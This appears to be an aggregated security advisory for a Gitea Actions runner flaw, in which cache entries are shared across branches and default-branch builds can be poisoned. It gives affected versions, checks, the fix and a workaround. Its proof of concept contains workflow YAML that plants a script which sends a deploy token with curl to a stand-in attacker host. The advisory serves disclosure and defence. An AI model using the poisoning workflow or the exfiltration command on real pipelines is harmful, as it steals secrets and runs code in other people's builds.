---
id: "GHSA-7c33-wq58-g35r"
page: "https://infrastack.ai/live/GHSA-7c33-wq58-g35r"
kind: "vulnerability"
aliases: ["GHSA-7c33-wq58-g35r"]
title: "Runner cache shared entries across branches, letting branch writers poison default-branch builds"
severity: "high"
cvss: 8.2
epss: null
exploited: false
status: "open"
category: "runtime"
products: [{"name": "gitea.com/gitea/runner", "fixed": ["5.3.0"], "affected": "< 5.3.0", "ecosystem": "go"}]
ecosystems: ["go"]
tags: ["ci", "cwe-349", "gitea", "gitea-actions", "runtime", "self-hosted"]
not_affected_if: ["no-cache-usage", "ref-in-cache-key", "runner-5.3.0-or-later"]
published_at: "2026-11-13T07:00:02+00:00"
first_seen_at: "2026-11-13T07:04:22+00:00"
updated_at: "2026-11-13T07:05:17+00:00"
sources: [{"source": "ghsa-repo", "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-7c33-wq58-g35r", "first_seen_at": "2026-11-13T07:04:22+00:00"}]
exploit_sources: []
---

# Runner cache shared entries across branches, letting branch writers poison default-branch builds

Link for people: https://infrastack.ai/live/GHSA-7c33-wq58-g35r (this .md is for agents)

The Gitea Actions runner's cache server does not scope cache entries by branch or tag, so a job on any branch can save files that default-branch jobs later restore and execute. An attacker who can push a branch can run code in default-branch workflows and read their secrets.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- go:gitea.com/gitea/runner affected < 5.3.0 fixed 5.3.0

## How to check

- Check the runner version with `act_runner --version` or the module version of `gitea.com/gitea/runner` in your go.mod.
- Look for workflows on the default branch that use `actions/cache` with a key that does not include `github.ref`.

## Fix

- `gitea.com/gitea/runner` `5.3.0`
- Workaround per the advisory: include the ref in cache keys, e.g. `key: deps-${{ github.ref }}-${{ hashFiles('package-lock.json') }}`.

## Timeline

- 2026-11-13T07:04:22+00:00 ghsa-repo https://github.com/go-gitea/gitea/security/advisories/GHSA-7c33-wq58-g35r

## Documents

- [advisory] Maintainer's advisory: github.com https://github.com/go-gitea/gitea/security/advisories/GHSA-7c33-wq58-g35r

## From the sources

### Summary

Before runner v5.3.0, the runner's cache server did not scope entries by ref. A cache saved by a job on any branch could be restored by jobs on the default branch, so anyone who can push a branch could plant files that a default-branch workflow restores and runs with that workflow's secrets. The poisoned entry stays in place for every later build until its key changes.

### Details

The cache server in `act/artifactcache` keyed entries only by the workflow's `key:` and version, without the branch or tag that saved them. Any default-branch workflow whose key does not include the ref is exposed. That includes the common `key: deps-${{ hashFiles('package-lock.json') }}`, since the attacker can keep the lockfile unchanged.

### Proof of concept

On a non-protected branch, save a script under a fixed key:

```yaml
on: push
jobs:
  save:
    runs-on: ubuntu-latest
    steps:
      - run: printf '#!/bin/bash\ncurl -s --data "secret=$S" https://attacker.example\n' > build.sh
      - uses: actions/cache@v4
        with:
          path: build.sh
          key: build-tool
```

A default-branch workflow that restores the same key and runs it:

```yaml
on: push
jobs:
  build:
    if: github.ref == 'refs/heads/main'
    runs-on: ubuntu-latest
    steps:
      - uses: actions/cache@v4
        with:
          path: build.sh
          key: build-tool
      - run: bash build.sh
        env:
          S: ${{ secrets.DEPLOY_TOKEN }}
```

The default-branch job reports a cache hit, runs the planted script and sends the secret to the attacker.

### Impact

Anyone who can push a branch can run code in the default-branch workflows of that repository and read their secrets, bypassing branch protection, whenever such a workflow restores and executes a cache under a key without the ref.

### Patches

Fixed in runner v5.3.0 by https://gitea.com/gitea/runner/pulls/1361. A job now saves caches to its own ref and restores them from its own ref, its pull request's base branch and the default branch, as on GitHub.

### Workarounds

Upgrade the runner, or include the ref in cache keys, for example `key: deps-${{ github.ref }}-${{ hashFiles('package-lock.json') }}`.

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_
